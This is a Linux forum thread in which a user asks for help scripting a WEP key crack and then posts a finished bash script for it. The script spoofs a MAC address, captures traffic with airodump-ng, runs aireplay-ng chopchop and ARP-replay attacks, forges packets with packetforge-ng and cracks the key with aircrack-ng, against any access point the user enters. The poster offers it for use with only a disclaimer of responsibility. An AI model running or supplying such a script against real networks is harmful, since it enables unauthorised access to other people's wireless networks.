Find the answer to your Linux question:
Results 1 to 3 of 3
I'm trying to make a simple bash to automate the wep crack procedure, i have some kind of basic idea, but i don't know how to store a user input ...
  1. #1
    Just Joined!
    Join Date
    Feb 2008
    Posts
    2

    Script or Bash help

    I'm trying to make a simple bash to automate the wep crack procedure, i have some kind of basic idea, but i don't know how to store a user input inside a variable, i know how to do it in java, but not in linux bash, so my main idea is this:

    #e=ESSID AP NAME
    #b=BSSID AP MAC
    #c=CHANNEL
    #r=-###-####
    #d=.cap file name

    rmmod ipw2200
    modprobe ipw2200 rtap_iface=1
    ifconfig eth1 up hw ether 00:11:22:33:44:55
    iwconfig eth1 essid $e channel $c key s:fakekey mode managed
    airodump-ng --bssid $b -w $d rtap0
    #need a break here and another terminal

    aireplay-ng -4 -a $b -h 00:11:22:33:44:55 -i rtap0 eth1

    #A prompt ask to use "this" packet. I need to Type "y" for the attack to continue. Once it finishes it shows a plaintext (.cap) file and a keystream(.xor) file. The keystream file will look something like "replay_dec-####-######.xor" i need to store the "####-######" into a variable to use it on the next step

    #Now, to create an arp-request packet using the aquired keysteam file i need to place the number generated on the previous step.

    packetforge-ng -0 -a $b -h 00:11:22:33:44:55 -k 192.168.1.100 -l 192.168.1.101 -y replay_dec$r.xor -w arp-request

    #these steps doesn't require variables

    aireplay-ng -2 -r arp-request eth1

    #here i need to run another terminal

    aircrack-ng -z $d*.cap

    any help or link to a tutorial that can help me create the script would be great!, thanks in advance.

    JCarlos

  2. #2
    Linux Engineer Kieren's Avatar
    Join Date
    Aug 2007
    Location
    England
    Posts
    845
    Code:
    read -p "Are you sure you want to continue? <y/N> " prompt
    if [[ $prompt == "y" || $prompt == "Y" || $prompt == "yes" || $prompt == "Yes" ]]
    then
      echo ""
    else
      exit 0
    fi
    Linux User #453176

  3. #3
    Just Joined!
    Join Date
    Feb 2008
    Posts
    2
    I made a little script for wep cracking with an Intel IPW2200 Wireless Card, any suggestion will be great!, and thanks for the help Kieren.

    #e=ESSID AP NAME
    #b=BSSID AP MAC
    #c=CHANNEL
    #r=-###-####
    #a=wireless adapter
    iwconfig
    read -p "What's the name of your wireless adapter? " a
    iwlist "$a" scan
    rmmod ipw2200
    modprobe ipw2200 rtap_iface=1
    read -p "AP MAC address: " b
    read -p "AP name: " e
    read -p "AP Channel: " c
    ifconfig "$a" up hw ether 00:11:22:33:44:55
    iwconfig "$a" essid "$e" channel "$c" key s:fakekey mode managed
    xterm -e airodump-ng --bssid "$b" -w capt rtap0 &
    aireplay-ng -4 -F -a "$b" -h 00:11:22:33:44:55 -i rtap0 "$a"
    read -p "Write down the ####-####: " r
    packetforge-ng -0 -a "$b" -h 00:11:22:33:44:55 -k 192.168.1.100 -l 192.168.1.101 -y replay_dec-"$r".xor -w arp-request
    aireplay-ng -2 -F -r arp-request "$a" &
    xterm -hold -e echo "is #data in airodump-ng near 15K? if yes, close this, if not, wait until it reaches that number, then close this."
    xterm -hold -e aircrack-ng -z capt*.cap
    echo "Congratulations if you found the WEP key, if not, try running again the script. Made by: Jcarlos_7"
    exit 0

    i'm not responsible of the use of this script.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
...